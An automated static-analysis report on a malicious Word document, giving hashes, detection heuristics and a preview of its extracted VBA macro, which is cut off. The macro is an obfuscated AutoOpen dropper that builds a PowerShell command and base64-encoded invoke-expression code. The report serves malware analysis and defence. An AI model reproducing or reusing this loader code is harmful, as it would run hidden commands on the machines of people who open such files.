Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 01d302b666879893…

MALICIOUS

Office (OLE)

186.5 KB Created: 2018-02-09 20:47:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 62407f3e978563e31f434d3d1c04d06d SHA-1: a1047d4fe6d13fc21082ab9c91adb90061a25c85 SHA-256: 01d302b666879893299affcf2a62a291905f38791aea06c6724d22f52dacb553
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a Microsoft Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, a critical heuristic firing, to execute commands. The macro appears to be obfuscated, but the presence of the Shell() call strongly suggests it's designed to download and execute a secondary payload. The ClamAV detection name 'Doc.Dropper.Agent-6456208-0' further supports this dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6456208-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6456208-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16348 bytes
SHA-256: c82e7f5320c89da2ad50f8dc85b31deba9ebb07d4cf99485737e14613f837dfa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "reverent"
Sub AutoOpen()
    Dim StentererArchitective As String
    ChampagnizeUncommissioned = Array(" ", "a", "l", "n", "p", "t", "r", "o", "-", "d", "c", "h", "b", "e", "u", "s", "i", "x", "w", "y")
    Dim PartiersSchuman As String
    PartiersSchuman = "ZgB1AG4A"

    Dim EyewortCycloidei As String
    EyewortCycloidei = "YwB0AGkAbwBuAC"
    Dim MarbliestSmithson As String
    MarbliestSmithson = "AAYQAoACQAeAApAHsA"
    StentererArchitective = StentererArchitective + ChampagnizeUncommissioned(4)
    StentererArchitective = StentererArchitective + ChampagnizeUncommissioned(7)
    Dim UruguayansKeesters As String
    UruguayansKeesters = "cgBlAHQAdQByAG4AIABb"
    Dim SequestrotomyBoaters As String
    SequestrotomyBoaters = "AFMAeQBzAHQAZQBtAC4AV"
    CatechisableCholedochoenterostomy = CatechisableCholedochoenterostomy & PartiersSchuman & EyewortCycloidei & MarbliestSmithson & UruguayansKeesters & SequestrotomyBoaters
    Dim PteromalidOverflexion As String
    PteromalidOverflexion = "ABlAHgAdAAuAEUA"
    StentererArchitective = StentererArchitective + ChampagnizeUncommissioned(18)
    StentererArchitective = StentererArchitective + ChampagnizeUncommissioned(13)
    Dim ClosetfulRainbow As String
    ClosetfulRainbow = "bgBjAG8AZABpAG4AZwBdA"
    Dim GroowKingsdown As String
    GroowKingsdown = "DoAOgBV"
    Dim CauseriesSecretivelies As String
    CauseriesSecretivelies = "AFQARgA4AC4ARwB"
    StentererArchitective = StentererArchitective + ChampagnizeUncommissioned(6)
    StentererArchitective = StentererArchitective + ChampagnizeUncommissioned(15)
    Dim LongueurFinistere As String
    LongueurFinistere = "lAHQAUwB0AHIAaQBu"

    CatechisableCholedochoenterostomy = CatechisableCholedochoenterostomy & PteromalidOverflexion & ClosetfulRainbow & GroowKingsdown & CauseriesSecretivelies & LongueurFinistere
    Dim SinteringUndervalue As String
    SinteringUndervalue = "AGcAKABbA"
    Dim VirginClobbers As String
    VirginClobbers = "FMAeQBzAH"
    StentererArchitective = StentererArchitective + ChampagnizeUncommissioned(11)
    StentererArchitective = StentererArchitective + ChampagnizeUncommissioned(13)
    Dim PyrostatMediocracy As String
    PyrostatMediocracy = "QAZQBtA"

    Dim DialyzersHyacinthides As String
    DialyzersHyacinthides = "C4AQwBvAG4AdgBl"

    Dim InterbankingPhaenological As String
    InterbankingPhaenological = "AHIAdABdADoA"

    CatechisableCholedochoenterostomy = CatechisableCholedochoenterostomy & SinteringUndervalue & VirginClobbers & PyrostatMediocracy & DialyzersHyacinthides & InterbankingPhaenological
    StentererArchitective = StentererArchitective + ChampagnizeUncommissioned(2)
    StentererArchitective = StentererArchitective + ChampagnizeUncommissioned(2)
    Dim BaronethoodArnottos As String
    BaronethoodArnottos = "OgBGAHIAbwBtAEIA"
    Dim UltraperfectNeupest As String
    UltraperfectNeupest = "YQBzAGUANg"
    Dim SerenedPotboiled As String
    SerenedPotboiled = "A0AFMAdAByAGkAbgBnAC"
    StentererArchitective = StentererArchitective + ChampagnizeUncommissioned(0)
    StentererArchitective = StentererArchitective + ChampagnizeUncommissioned(8)
    Dim ExplodentReleasibility As String
    ExplodentReleasibility = "gAJAB4ACkA"
    Dim ReiterativeDuston As String
    ReiterativeDuston = "KQB9ADsAaQBlAH"
    CatechisableCholedochoenterostomy = CatechisableCholedochoenterostomy & BaronethoodArnottos & UltraperfectNeupest & SerenedPotboiled & ExplodentReleasibility & ReiterativeDuston
    Dim PhytopathologyLessest As String
    PhytopathologyLessest = "gAIAAkACgAY"
    StentererArchitective = StentererArchitective + ChampagnizeUncommissioned(18)
    StentererArchitective = StentererArchitective + Champagn
... (truncated)